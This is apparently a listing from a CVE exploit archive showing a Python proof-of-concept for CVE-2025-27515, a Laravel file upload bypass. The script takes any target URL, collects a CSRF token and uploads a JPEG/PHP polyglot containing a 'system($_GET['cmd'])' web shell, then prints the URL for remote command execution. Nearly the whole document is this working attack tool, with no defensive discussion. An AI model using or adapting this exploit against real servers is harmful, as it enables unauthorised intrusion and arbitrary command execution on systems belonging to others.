4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import sys
import requests
from bs4 import BeautifulSoup
from typing import Optional


class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    CYAN = '\033[96m'
    WHITE = '\033[97m'
    RESET = '\033[0m'
    BOLD = '\033[1m'


def print_banner():
    print(f"""
{Colors.CYAN}╔══════════════════════════════════════════════════════════╗
║  {Colors.BOLD}CVE-2025-27515{Colors.RESET}{Colors.CYAN} - Laravel File Upload Bypass            ║
║                                                          ║
║  {Colors.RED}█▀▄▀█ ▄▀█ ▀█ █▀ █▀▀ █▀▀{Colors.RESET}{Colors.CYAN}                                 ║
║  {Colors.RED}█ ▀ █ █▀█ █▄ ▄█ ██▄ █▄▄{Colors.RESET}{Colors.CYAN}                                 ║
║                                                          ║
║  {Colors.YELLOW}Polyglot JPEG+PHP → RCE{Colors.RESET}{Colors.CYAN}                               ║
╚══════════════════════════════════════════════════════════╝{Colors.RESET}
""")


class CVE2025_27515_Exploit:
    def __init__(self, target_url: str):
        self.target_url = target_url.rstrip('/')
        self.upload_url = f"{self.target_url}/upload"
        self.session = requests.Session()
        self.csrf_token = None

        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
            'Accept': 'application/json, text/javascript, */*',
            'Accept-Language': 'en-US,en;q=0.9',
        })

    def log_info(self, message: str):
        print(f"[*] {message}")

    def get_csrf_token(self) -> Optional[str]:
        try:
            response = self.session.get(self.upload_url)

            if response.status_code != 200:
                return None

            soup = BeautifulSoup(response.text, 'html.parser')
            csrf_meta = soup.find('meta', {'name': 'csrf-token'})

            if csrf_meta:
                self.csrf_token = csrf_meta.get('content')
                return self.csrf_token

            csrf_input = soup.find('input', {'name': '_token'})
            if csrf_input:
                self.csrf_token = csrf_input.get('value')
                return self.csrf_token

            return None

        except Exception as e:
            return None

    def create_polyglot_file(self) -> bytes:
        return b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00<?php system($_GET['cmd']); ?>"

    def exploit_polyglot(self) -> tuple[bool, dict]:
        if not self.csrf_token:
            if not self.get_csrf_token():
                return False, {}

        try:
            file_content = self.create_polyglot_file()
            files = {'files[]': ('image.jpg', file_content, 'image/jpeg')}
            data = {'_token': self.csrf_token}

            self.log_info(f"Sending payload to {self.upload_url}...")
            response = self.session.post(self.upload_url, files=files, data=data)

            result_info = {
                'status_code': response.status_code,
                'content_length': len(response.content)
            }

            if response.status_code == 200:
                try:
                    result = response.json()
                    if result.get('success') and result.get('files'):
                        file_info = result['files'][0]
                        result_info['stored_path'] = file_info.get('stored_path')
                        result_info['url'] = f"{self.target_url}/storage/{file_info.get('stored_path').split('/')[-1]}"
                        return True, result_info
                except:
                    pass

            return False, result_info

        except Exception as e:
            return False, {'error': str(e)}

    def run(self):
        self.log_info(f"Target: {self.target_url}")
        print()

        success, result_info = self.exploit_polyglot()
        print()

        print(f"[+] Request sent!")
        print(f"    Status Code: {result_info.get('status_code', 'N/A')}")
        print(f"    Content-Length: {result_info.get('content_length', 0)} bytes")
        print()

        if success:
            print(f"UPLOAD RESULT:")
            print(f"{result_info.get('url', 'N/A')}")
            print()
            print(f"{Colors.GREEN}✓ EXPLOIT SUCCESSFUL{Colors.RESET}")
            print("=" * 60)
        else:
            print(f"{Colors.RED}✗ EXPLOIT FAILED{Colors.RESET}")
            if 'error' in result_info:
                print(f"Error: {result_info['error']}")
            print("=" * 60)

        return success


def main():
    print_banner()

    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>\n")
        print(f"Example:")
        print(f"  python3 {sys.argv[0]} http://localhost:8000\n")
        sys.exit(1)

    target_url = sys.argv[1]
    exploit = CVE2025_27515_Exploit(target_url)

    try:
        exploit.run()

    except KeyboardInterrupt:
        print(f"\n\n[!] Interrupted by user\n")
        sys.exit(1)
    except Exception as e:
        print(f"\n[✗] Fatal error: {str(e)}\n")
        sys.exit(1)


if __name__ == '__main__':
    main()